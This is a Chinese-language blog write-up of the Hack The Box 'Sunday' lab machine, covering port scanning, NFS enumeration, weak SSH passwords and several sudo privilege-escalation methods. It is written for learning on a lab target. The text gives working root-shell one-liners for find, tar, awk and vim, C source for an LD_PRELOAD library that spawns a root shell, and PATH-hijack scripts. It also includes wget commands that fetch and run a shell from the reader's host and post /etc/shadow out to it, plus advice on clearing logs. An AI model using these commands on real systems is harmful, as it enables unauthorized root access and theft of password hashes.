ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Sunday靶机实战:从弱口令到sudo提权的多种姿势

Sunday靶机实战:从弱口令到sudo提权的多种姿势 1. 靶机信息收集与弱口令突破口1.1 端口扫描与服务识别先交代一下背景。HTB上的Sunday这台靶机属于典型的老龄机器难度不高但对于练手的人来说有一个很重要的价值它把“弱口令出现之后后续到底还能玩出多少花样”这件事展示得比较彻底。我当时是带着一个明确目标去打的——不只看能不能拿root还要把sudo提权的各种姿势都串联一遍。实践证明这台机器非常适合做这件事。拿到靶机后第一步永远是信息收集。我习惯先用nmap做一次全端口扫描再针对开放的端口做服务版本探测。命令大概是这样的nmap -sS -T4 -p- --min-rate 1000 -oN full_port_scan.txt 靶机IP全端口扫完常用服务的端口再单独细扫。很多新手会犯一个错误默认只扫前1000个常用端口结果把敏感的、跑在高位端口的服务给漏掉。Sunday这台机器其实没有太冷门的端口但这句话放到实战里永远适用——要么你直接跑全端口要么你至少用-p- --min-rate把范围拉满省得后面重新来过。端口探测出来后再用常用指纹识别脚本确认服务版本nmap -sV -sC -p 22,80,111,2049 靶机IP如果扫到了NFS网络文件系统挂载目录那信息收集的深度就得跟上showmount -e看一下导出了哪些目录能挂载的话上去翻文件有时候弱口令线索就藏在NFS共享的目录里。Sunday这台机器的NFS服务就比较典型具体怎么用我们后面细说。1.2 从弱口令到初始访问拿到开放的服务之后常规操作是把每个服务都碰一遍。这里最容易给人惊喜的就是SSH。很多靶机为了提高“可玩性”故意留了一组极弱的账号密码但问题是你得先知道用户名是什么。Sunday这台机器上用户名其实是可以枚举出来的——比如NFS导出的目录里面能看到一些系统级的配置文件或者用户相关的目录信息这些细节就能把用户名带出来。我记得当时在看NFS挂载目录时翻到了一些日志和系统文件里面就藏着用户名。这里我不写具体用户名免得直接抄作业但思路要记住不要只盯着端口本身文件共享里的信息往往比端口扫描的结果更有价值。拿到用户名之后弱口令尝试就更直接了。密码就摆在那几个经典选项里admin、123456、password、guest、user以及用户名本身。我自己的习惯是先用用户名当密码试一次再用“用户名常见数字”的组合试这种套路在靶机里命中率特别高。如果嫌手输麻烦可以借助字典加工具跑但需要注意的是真实环境里爆破SSH容易被安全设备拦截靶机学习的时候也不建议一上来就无脑爆先手测几个最弱的不行再上字典。有人可能会问为什么要执着于弱口令因为现实世界的很多“安全边界”就是这么破的——你花了大量精力去搞0day、打复杂的漏洞组合结果旁边一台设备用admin/123456就能登录。HTB里的Sunday本质上就是在反复强调这个事实弱口令不是偶然它是人的习惯问题而攻击者最喜欢的就是这种习惯。2. sudo权限探测与提权思路梳理2.1 sudo -l 看当前用户能执行什么命令拿到一个低权限Shell后我最想干的第一件事永远是看sudo配置。因为Linux系统的用户权限分割决定了大部分提权路径都需要借助sudo、SUID或者内核漏洞而sudo配置不当往往是最好利用、也最稳定的一种。命令就一条sudo -l这条命令会列出当前用户被允许以root身份或指定其他用户身份执行哪些命令以及有没有密码要求、有没有额外参数限制。输出长什么样呢大致是这样User may run the following commands on this host: (root) NOPASSWD: /usr/bin/xxx (root) /usr/bin/yyy如果你运气好看到某条命令前面带NOPASSWD那说明执行这个命令连密码都不用输直接就能以root身份跑。没有NOPASSWD的至少说明你被授权可以执行只是需要输入当前用户的密码——很多情况下这个密码你已经知道了因为是从弱口令进来的所以问题也不大。但这里有个很关键的理解点sudo -l输出的信息只是“被允许”的列表不是“所有能提权”的列表。有些机器上你对某些命令有sudo执行权看起来平平无奇但配合这个命令的某些参数或选项就能直接读到/etc/shadow甚至弹出root shell。Sunday这台机器的提权思路基本上就是从sudo -l的输出里找那个“平平无奇”的突破口。2.2 常见sudo提权方向根据我打过靶机、看过真实渗透报告的经验sudo提权大致可以归纳成下面几条路拿到sudo -l输出后可以对着筛查直接执行指定二进制如果允许你sudo执行某个能启动Shell或执行系统命令的二进制比如/bin/bash、/usr/bin/vim、/usr/bin/man、/usr/bin/less那提权基本就是一条命令的事。因为这些程序内部都有“执行外部命令”的功能比如vim里的:!sh、man里的!/bin/sh。命令参数注入即使允许执行的二进制本身不是Shell但它的参数里允许指定要执行的命令或文件比如find的-exec参数、tar的--checkpoint-action参数、awk的system()函数这些都能直接拿到root权限的命令执行。环境变量利用LD_PRELOAD / LD_LIBRARY_PATH如果sudo配置里没有禁用环境变量且你能编写共享库文件那么可以通过LD_PRELOAD指定一个恶意共享库当sudo执行目标程序时就会预先加载这个库从而执行库中的__attribute__((constructor))函数让你获得root Shell。相对路径命令劫持如果sudo允许执行的是一个不带绝对路径的命令或者脚本里面通过PATH环境变量去调用别的命令那么你就可以通过修改PATH把同名恶意脚本放在前面让它优先被执行。sudo脚本本身不安全有些管理员会写自定义脚本放进sudo授权里但脚本里用了相对路径调用、临时文件没处理干净、继承的环境变量太多等这些都是隐形的提权入口。Sunday这台机器我觉得值得称道的就是它把上面第三、第四、甚至第二类的用法都串起来了。很多人打这台机器只看了一种方法就结束了但其实把它当成一个“sudo提权方法教学靶机”来打收获会大得多。3. 多种sudo提权方法实操拆解3.1 方法一利用sudo配置的脚本或二进制直接执行先说最直接的一种。假设sudo -l里允许你执行某个二进制文件而这个文件本身就具备调用Shell或者读取文件的能力那么提权就像开锁一样简单。举个例子如果被允许的是/usr/bin/vim那么sudo -u root /usr/bin/vim /etc/shadow这样直接用root权限打开shadow文件密码哈希都清清楚楚。如果更进一步想直接拿一个root Shell在vim里执行:!sh就能得到一个root身份的Shell。类似的还有/usr/bin/less执行后按!也可以掉进Shell/usr/bin/man则可以利用!/bin/bash跳出到命令行。我在Sunday这台机器上sudo -l给出的东西并不是这种“一眼提权”的二进制但在其他靶机上我见过很多次。所以要养成一个习惯看到一个二进制先想想它本身能不能执行命令、能不能读文件。如果不能再看它支持哪些参数、有没有什么内置功能可用。有人会问如果sudo允许执行的是/usr/bin/wget这种能下载文件的网络工具怎么提权方法也不少。比如sudo -u root /usr/bin/wget --no-check-certificate http://你的IP/sh -O /tmp/sh sudo chmod x /tmp/sh sudo -u root /tmp/sh或者直接利用wget把本机的/etc/shadow下载到你自己的服务器上sudo -u root /usr/bin/wget --post-file/etc/shadow http://你的IP/这需要你能监听到一个HTTP请求方法往往比想象中更灵活。但归根结底核心就是一句话你被授权能以root身份执行某个程序那这个程序的一切能力就是root的能力。3.2 方法二sudo配合find / tar / awk等命令提权Sunday这台机器我记得清楚的地方在于它的sudo -l里有一个命令允许你以root身份执行但这个命令本身不是Shell看起来也不像能直接读文件。可配合它的参数就完全可以做到。最有代表性的就是find。假设sudo -l里有这一行(root) NOPASSWD: /usr/bin/find那直接执行sudo /usr/bin/find / -exec /bin/bash \;这条命令的意思是从根目录开始找文件每找到一个文件就执行一次/bin/bash而因为find是在root权限下运行的所以它启动的bash也是root身份。执行后你会得到一个root Shell。如果只想读文件也可以这样sudo /usr/bin/find / -name shadow -exec cat {} \;类似的还有tar。tar的提权姿势稍微绕一点核心是利用它的checkpoint机制sudo tar cf /dev/null /root/xxx --checkpoint1 --checkpoint-actionexec/bin/sh这里会让tar在打包到第1个文件时执行/bin/sh因为tar是root身份运行的Shell自然就是root Shell。这个思路曾经在GTFOBins里被整理过靶机中也偶尔会出现。再看awk。如果允许sudo执行awk那么sudo awk BEGIN {system(/bin/bash)}一行搞定。system()函数会调用/bin/bash而awk跑在root权限下自然就是root Shell。我个人在Sunday上用的方法就是基于这类思路中的一个。但光会执行还不够你得理解为什么能这样sudo只是限制了“你能执行哪个命令”并没有限制“这个命令的合法参数和功能”。管理员授权时只写了命令名字没限制参数那就等于把命令的全部能力都交给你了。这在实际配置sudo时是特别容易被忽略的点。3.3 方法三LD_PRELOAD配合sudo提权接下来是稍微需要一定“工程能力”的方法LD_PRELOAD。这个方法在很多文章里都有提但实际用起来有一些前置条件Sunday这台机器恰好提供了一个能验证它的环境。先解释原理。Linux系统在加载可执行程序时会通过环境变量LD_PRELOAD指定一些额外的共享库让程序在启动时先加载这些库。我们可以在这些共享库里写一个构造函数constructor这样当程序被加载的时候构造函数里的代码就会自动执行。如果目标程序是通过sudo以root身份启动的那这个构造函数的执行权限就是root。具体步骤大概是先看sudo -l的输出确认sudo配置里没有禁止环境变量——通常输出里没有env_reset或secure_path的话或者你能看到SETENV选项说明环境变量可控。在当前用户目录下写一个C文件内容大概是#include stdio.h #include sys/types.h #include stdlib.h void _init() { setuid(0); setgid(0); unsetenv(LD_PRELOAD); system(/bin/sh); }或者用GCC的__attribute__((constructor))#include stdio.h #include sys/types.h #include stdlib.h __attribute__((constructor)) void preload_function() { setuid(0); setgid(0); system(/bin/sh); }编译成共享库gcc -shared -fPIC -o /tmp/preload.so preload.c借助sudo执行任意一个被授权的程序同时设置LD_PRELOAD环境变量sudo LD_PRELOAD/tmp/preload.so /usr/bin/被允许的命令这里有个细节并非所有sudo命令都允许LD_PRELOAD传递过去。因为很多Linux发行版默认在sudo里配置了env_reset会清除危险环境变量。如果输出里看到env_keepLD_PRELOAD或者你拥有SETENV:标识那就稳了。若被禁止则需要先利用其他方法比如修改sudo的配置文件或使用sudo -E去绕过Sunday上的情况我记得环境变量限制不算严格所以这个方法可行。还有一个常见问题是系统可能没有gcc或者当前用户没有编译权限。那就需要找别的方式获得一个可用的共享库比如看看/usr/lib/x86_64-linux-gnu/libc.so.6里有没有可以利用的函数或者看系统中已有的、足够“通用”的库文件甚至通过NFS从本地把编译好的文件传上去。我在打Sunday时就利用了NFS共享目录传文件省去了在靶机上装编译器的麻烦。这也是信息收集阶段发现NFS服务留下的伏笔。3.4 方法四相对路径调用劫持与PATH注入Sunday这台机器上还有一条很容易被忽略的提权路径那就是利用sudo配置的脚本中“相对路径调用”的缺陷。这种方法在真实环境中出现的频率也不低值得单独拿出来说。假设sudo -l里允许你执行的并不是一个系统二进制而是一个位于某个目录下的自定义脚本或者是一个本来就放在/usr/local/bin之类的脚本。但这个脚本在内部调用了其他命令却没有使用绝对路径比如脚本里写的是#!/bin/bash echo Running backup rsync -a /home /backup或者更常见的#!/bin/sh ls -la /root cp -r /important /tmp/backup如果这个脚本是以root权限运行的那么脚本里ls、cp这些命令都会以root身份执行。而我们如果能劫持脚本里的命令路径就能让脚本去执行我们自己的“ls”或“cp”从而实现提权。具体做法是利用PATH环境变量。Linux执行命令时会按照PATH里定义的目录顺序去查找可执行文件。如果在PATH的最前面放一个我们可控的目录里面放一个同名恶意脚本那当原脚本执行ls时系统找到的就是我们的恶意脚本。步骤大概是在可控目录创建恶意脚本比如/tmp/pwn/ls内容#!/bin/bash /bin/bash -p给执行权限chmod x /tmp/pwn/ls执行sudo命令时临时修改PATHsudo PATH/tmp/pwn:$PATH /path/to/被授权的脚本前提是该脚本调用命令时确实用了相对路径。如果它用了/bin/ls这种绝对路径就没办法了。这也是为什么很多安全加固建议都要求脚本内使用绝对路径的原因。另外如果sudo配置里设置了secure_path那么即使你手动指定PATH在执行时也会被重置为默认路径这种情况下相对路径劫持就失效了。但Secure Path本身只是限制了PATH变量的作用范围有些操作比如通过脚本内部的某些参数还是有机会绕过的。Sunday上这条路径走得通有一个原因是脚本本身写得比较“原始”大量使用相对路径给攻击者留了操作空间。4. 实操注意事项与常见问题排查4.1 为什么sudo -l输出看不懂NOPASSWD与密码要求很多初学者拿到sudo -l的输出第一反应是一脸懵因为sudo配置的输出格式确实不太直观。这里我挑几个关键点说清楚。一行授权记录通常长这样(root) NOPASSWD: /usr/bin/systemctl括号里的(root)表示可以用什么身份执行这里是rootNOPASSWD表示执行时不需要输入密码后面是允许执行的具体命令路径。如果没有NOPASSWD字样比如(root) /usr/bin/pkexec那执行时就需要你输入自己的密码。但注意需要密码不代表不能用——很多时候这个密码就是初始弱口令那一个你已经知道了。所以看到没有NOPASSWD的授权不要以为不可利用先试试用当前已知密码能不能sudo一次。还有一种情况是授权里带参数限制比如(root) /usr/bin/echo *这表示只能执行echo命令且参数必须符合某个模式。这种严格限制会提高利用门槛但不是绝对安全。你就得仔细看通配符怎么解析、能不能通过路径穿越等方式绕过。总之sudo配置的每一个字符都可能存在着或者不存在着可利用空间。4.2 遇到sudo需要tty怎么办在打Sunday或类似靶机时可能遇到这样一个提示sudo: sorry, you must have a tty to run sudo这是因为sudo配置里设置了requiretty要求必须有一个真正的终端才能执行sudo。如果你是通过简单的反向Shell连接过来的通常没有分配ttysudo就会拒绝工作。解决办法也简单在当前Shell里用Python或SHELL命令分配一个伪终端python3 -c import pty; pty.spawn(/bin/bash)然后再执行sudo -l就不会报错了。也可以用socat或者script命令来获得ttyscript /dev/null -c bash拿到tty之后不仅sudo能用了TAB补全、Job控制等都会方便很多。这个步骤别看简单很多新手卡在奇怪的地方就是这个原因。4.3 环境变量限制env_reset、secure_path对提权的影响前文提到LD_PRELOAD和PATH注入时都涉及了环境变量。在实战里环境变量限制是sudo提权成功与否的最大变量之一。现代sudo默认会打开env_reset意思是执行sudo后的环境会被重置到一个干净状态只保留少数被认为安全的环境变量比如HOME、USER等并且会设置一个固定的PATH通过secure_path配置。这时候你设置的LD_PRELOAD和自定义PATH都会被忽略。观察sudo -l的输出会看到类似env_reset、secure_path/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin这样的信息。如果你发现输出里带有SETENV:这个标记那意味着当前用户被允许设置环境变量这时候LD_PRELOAD才有戏。例如(root) SETENV: NOPASSWD: /usr/bin/choose_binary这种情况下可以直接sudo LD_PRELOAD/tmp/pwn.so /usr/bin/choose_binary如果secure_path存在而你又需要PATH劫持那就要想办法绕过它。比如sudo授权的脚本内部用su去调用命令时su可能会重新读取用户的PATH而不是遵行secure_path又比如通过脚本中的某些参数来执行命令让命令路径不受PATH限制。这些在真实环境里都是可以慢慢试的方向。4.4 提权后的稳定Shell与清理痕迹提权成功后别急着庆祝。我自己的习惯是马上做几件事第一确认身份。执行id确认uid0。如果只是通过find -exec弹出来的bash有时候环境变量不完整id还是显示为普通用户其实不会只要父进程是root子进程就是root。但为了确保稳定可以把权限提升得更彻底一些。第二尽量把root Shell升级成一个完整终端。依然可以用pty.spawn那个技巧这样能够正常使用各种交互工具。第三如果想做后渗透测试在靶机范围内记得把临时用的恶意文件清理干净。比如/tmp/pwn、/tmp/preload.so这些该删就删。实战中还要考虑删除日志、命令历史等但靶机上边打边学优先确保理解每一步别把注意力全放在清理上。5. 从Sunday这台机器总结出的提权思路5.1 弱口令只是入口配置不当才是提权关键Sunday整条攻击链其实很短枚举出用户名弱口令进SSH再通过sudo提权拿root。难点不在于某个环节多么复杂而在于你是否能把“每个看似正常的功能”都往“能不能提权”的方向去想。很多人打靶机喜欢搜“xx机器writeup”抄完命令就过了。但我觉得更值得做的是把每一个提权动作背后的条件理清为什么这个命令能提权依赖了哪些不安全的sudo配置如果系统加固了应该怎么防把这几个问题答清楚才算真正学到了东西。以Sunday为例它之所以能通过多种方式提权归根结底是sudo授权时没有限制命令参数、没有严格清理环境变量、某些脚本使用相对路径调用外部命令。这三条可以说是sudo配置中最常见的安全隐患。你在真实服务器上做安全评估时看到任何一条都应该立刻标记为高风险。5.2 如何构建自己的sudo提权知识体系如果只是零散记一堆“sudo vim提权”、“sudo find提权”的土办法遇到新机器还是会卡壳。我建议把sudo提权知识整理成一个体系大体分为三层第一层命令本身的能力。你要熟悉Linux中常用命令的所有“隐藏功能”比如vim/less/man内部的命令执行、find的-exec、tar的checkpoint、awk的system、git的pager等。GTFOBins这个网站整理了大量这类内容可以当字典查但最好自己动手试几遍。第二层sudo配置的影响因素。拿到sudo -l输出后不要只盯着命令列表还要看有没有NOPASSWD、SETENV、env_reset、secure_path、requiretty这些配置决定了哪些提权方法可行。第三层系统环境的约束。是否允许编译是否有gcc/python/perl能否通过NFS传文件临时目录是否可写可执行这些决定了你能否把“理论上的提权方法”变成“实际能跑的利用代码”。把这三层想明白你再看Sunday这类靶机就不仅仅是“做了个writeup”而是真的理解了每一种提权手法的来龙去脉。以后再遇到sudo权限配置不当的机器思路自然会多几条不会只靠单一姿势硬撞。回到这台靶机我个人最喜欢的部分是它的“多解法”属性。同样一个弱口令起点你可以走相对简单的命令参数提权也可以走稍微麻烦一点的LD_PRELOAD还可以玩PATH劫持。每一条路走通之后回头看sudo -l的输出你会发现所有答案早就写在那里了只是需要你有足够的知识储备去解读它。这也是我坚持推荐新手拿Sunday来练手的原因——它不会让你挫败感太强但又能逼着你把sudo提权这件事想透。
返回列表